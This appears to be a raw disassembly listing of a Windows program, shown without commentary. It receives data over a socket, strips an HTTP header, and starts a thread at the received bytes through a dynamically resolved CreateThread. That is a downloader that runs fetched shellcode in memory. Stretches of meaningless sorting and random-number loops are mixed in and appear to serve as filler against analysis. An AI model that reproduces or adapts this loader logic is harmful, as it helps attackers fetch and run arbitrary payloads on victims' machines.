add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3a0]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x1400029f1
mov eax, dword [rbp + 0x368]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3a0]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x364], xmm0
mov eax, dword [rbp + 0x554]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3a0]
add rdx, rax
mov eax, dword [rbp + 0x368]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x3a0]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x368]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3a0]
add rax, rdx
movss xmm0, dword [rbp + 0x364]
movss dword [rax], xmm0
add dword [rbp + 0x554], 1
mov eax, 0x236
sub eax, dword [rbp + 0x554]
cmp dword [rbp + 0x368], eax
jl 0x140002918
add dword [rbp + 0x554], 1
cmp dword [rbp + 0x554], 0x236
jle 0x140002909
mov rax, qword [rbp + 0x3a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x548], rax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x3d0]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x39c], eax
mov eax, dword [rbp + 0x39c]
cdqe
add qword [rbp + 0x548], rax
mov dword [rbp + 0x544], 0xffffffff
mov ecx, 0x568
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x390], rax
add dword [rbp + 0x544], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x544]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x390]
add rax, rdx
movsd xmm1, qword [0x140006138]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x544]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x390]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x544]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x390]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400044c0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x544], 0xab
jle 0x140002a99
cmp dword [rbp + 0x39c], 0
jg 0x140002a43
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x3e0]
call rax
mov rax, qword [rbp + 0x3a8]
lea rdx, str._r_n_r_n
mov rcx, rax
call sub.msvcrt.dll_strstr
add rax, 4
mov qword [rbp + 0x3a8], rax
mov ecx, 0x664
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x388], rax
mov dword [rbp + 0x53c], 0
mov dword [rbp + 0x538], 0
mov dword [rbp + 0x540], 0
jmp 0x140002c83
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x540]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x388]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x540]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x388]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002c52
add dword [rbp + 0x53c], 1
jmp 0x140002c7c
mov eax, dword [rbp + 0x540]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x388]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002c7c
add dword [rbp + 0x538], 1
add dword [rbp + 0x540], 1
cmp dword [rbp + 0x540], 0x198
jle 0x140002be0
mov rax, qword [rbp + 0x388]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x400]
lea rdx, str.CreateThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x380], rax
mov rdx, qword [rbp + 0x3a8]
lea rax, [rbp + 0x2ec]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x380]
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x400]
lea rdx, str.WaitForSingleObject
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x370], rax
mov rax, qword [rbp + 0x378]
mov r8, qword [rbp + 0x370]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov dword [rbp + 0x36c], eax
mov eax, 0
movups xmm6, xmmword [rbp + 0x5a0]
add rsp, 0x630
pop rbx
pop rdi
pop rbp
ret